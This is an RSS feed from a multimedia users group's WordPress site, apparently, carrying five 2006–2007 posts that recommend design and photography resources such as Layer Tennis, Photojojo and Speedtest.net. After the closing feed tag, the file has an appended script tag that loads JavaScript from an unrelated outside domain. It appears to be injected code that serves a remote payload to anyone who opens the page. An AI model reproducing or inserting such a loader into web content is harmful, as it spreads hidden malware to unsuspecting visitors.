































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MMUG-IRELAND &#187; Inspiration</title>
	<atom:link href="http://www.mmug-ireland.org/category/inspiration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mmug-ireland.org</link>
	<description>Multimedia Users Group of Ireland</description>
	<lastBuildDate>Tue, 10 Feb 2009 10:05:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>New Sport for Designers: Layer Tennis</title>
		<link>http://www.mmug-ireland.org/2007/10/03/new-sport-for-designers-layer-tennis/</link>
		<comments>http://www.mmug-ireland.org/2007/10/03/new-sport-for-designers-layer-tennis/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 09:43:48 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/10/03/new-sport-for-designers-layer-tennis/</guid>
		<description><![CDATA[I just found this site that has created a new sport that is for designers on the web. It&#8217;s very new and really quite interesting. It&#8217;s called layer tennis and basically allows two designers to have a show down in real time. They both need to be online for the duration of the match and [...]]]></description>
			<content:encoded><![CDATA[<p>I just found this site that has created a new sport that is for designers on the web. It&#8217;s very new and really quite interesting. It&#8217;s called layer tennis and basically allows two designers to have a show down in real time. They both need to be online for the duration of the match and have access to the file server where they both send their edited files back and forth. They only 15 minutes per round and they have a total of 10 rounds. Here is how the site explains it:</p>
<blockquote><p>We&#8217;ll be playing matches using lots of different applications, from Adobe® Photoshop® to Adobe® Flash®, but the basic idea is the same no matter what tools are in use. Two artists (or two small teams of artists) will swap a file back and forth in real-time, adding to and embellishing the work. Each artist gets fifteen minutes to complete a &#8220;volley&#8221; and then we post that to the site. A third participant, a writer, provides play-by-play commentary on the action, as it happens. The matches last for ten volleys and when it&#8217;s complete, everyone visiting the site votes for a winner.</p></blockquote>
<p>Visit them online and see for yourself. Who knows, if it were with Fireworks I would give it a go myself. Looks fun.</p>
<p><a href="http://www.layertennis.com/">www.LayerTennis.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/10/03/new-sport-for-designers-layer-tennis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link: Design Related</title>
		<link>http://www.mmug-ireland.org/2007/02/23/link-design-related/</link>
		<comments>http://www.mmug-ireland.org/2007/02/23/link-design-related/#comments</comments>
		<pubDate>Fri, 23 Feb 2007 14:26:12 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/23/link-design-related/</guid>
		<description><![CDATA[Design Related is a new(ish) site that gives designers from all walks of life and trades a tool to create an online portfolio and network with other designers. The site works well and is also very well built.
I just signed up today for free and I think I will be adding all my new and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.designrelated.com">Design Related</a> is a new(ish) site that gives designers from all walks of life and trades a tool to create an online portfolio and network with other designers. The site works well and is also very well built.</p>
<p>I just signed up today for free and I think I will be adding all my new and existing projects to this site from now on. I love the look and feel and I found it very easy to use and update. If your looking to build an online portfolio in about 15 minutes you should check it out yourself:</p>
<p><a href="http://www.designrelated.com">Design Related</a></p>
<p>My portfolio:</p>
<p><a href="http://www.designrelated.com/cgehrke">Design Related:cgehrke</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/23/link-design-related/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link: PhotoJojo</title>
		<link>http://www.mmug-ireland.org/2007/02/13/link-photojojo/</link>
		<comments>http://www.mmug-ireland.org/2007/02/13/link-photojojo/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 16:07:48 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/13/link-photojojo/</guid>
		<description><![CDATA[What a wonderful site for photography tips and tricks. From Photoshop and Illustrator tips to actual hands on tips and tricks for both the advanced and novice photographer. You can choose to sign up for their newsletter or if you want to see what you have missed you can surf through their archive.
I am already [...]]]></description>
			<content:encoded><![CDATA[<p>What a wonderful site for photography tips and tricks. From Photoshop and Illustrator tips to actual hands on tips and tricks for both the advanced and novice photographer. You can choose to sign up for their newsletter or if you want to see what you have missed you can surf through their archive.</p>
<p>I am already a huge fan.</p>
<p><a href="http://www.photojojo.com/">Photojojo.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/13/link-photojojo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphical Speed Test</title>
		<link>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/</link>
		<comments>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/#comments</comments>
		<pubDate>Wed, 27 Sep 2006 13:24:29 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[flash]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/?p=26</guid>
		<description><![CDATA[It&#8217;s always handy to know exactly what your internet connection speed is. There are many sites that offer both free and paid services that do just that. But, none have done it as graphically pleasing as the new and improved Speedtest.net.
With their clean flash interface and smooth matrix-like overview, you can see your speed from [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s always handy to know exactly what your internet connection speed is. There are many sites that offer both free and paid services that do just that. But, none have done it as graphically pleasing as the new and improved <a href="http://www.speedtest.net/">Speedtest.net</a>.</p>
<p>With their clean <strong>flash</strong> interface and smooth matrix-like overview, you can see your speed from different locations and get a real geographical idea of exactly where the data is traveling during the test. </p>
<p>Check it out for yourself:</p>
<p><a href="http://www.speedtest.net/">Speedtest.net</a></p>
<p><em>via <a href="http://www.123adapt.com/word/2006/08/18/graphical-speedtest/">The iSpySite.com</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial: Serious PS Skills</title>
		<link>http://www.mmug-ireland.org/2006/09/25/tutorial-some-serious-photoshop-skills/</link>
		<comments>http://www.mmug-ireland.org/2006/09/25/tutorial-some-serious-photoshop-skills/#comments</comments>
		<pubDate>Mon, 25 Sep 2006 08:33:37 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/?p=9</guid>
		<description><![CDATA[This is a tutorial from Daniel Hammonds (a.k.a Wade/Haujobb &#038; Fairlight) who has some serious photoshop skills. At first glance you would think this is an actual photo but after checking out the tutorial you can see he started with a blank canvas in photoshop and just started drawing. I am very impressed by this. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wade.pwp.blueyonder.co.uk/tutorial1.htm" title="photoshop skills"><img id="image13" src="http://www.mmug-ireland.org/wp-content/uploads/2006/09/photo_shop_skills.thumbnail.jpg" alt="photoshop skills" align="left" hspace="3" /></a>This is a tutorial from Daniel Hammonds (a.k.a Wade/Haujobb &#038; Fairlight) who has some serious photoshop skills. At first glance you would think this is an actual photo but after checking out the tutorial you can see he started with a blank canvas in photoshop and just started drawing. I am very impressed by this. I will have to do this and see what my results might be.</p>
<p><a href="http://www.wade.pwp.blueyonder.co.uk/tutorial1.htm">A Step by Step Tutorial</a></p>
<p>via <a href="http://www.123adapt.com/word/2006/06/26/261/">theispysite.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2006/09/25/tutorial-some-serious-photoshop-skills/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>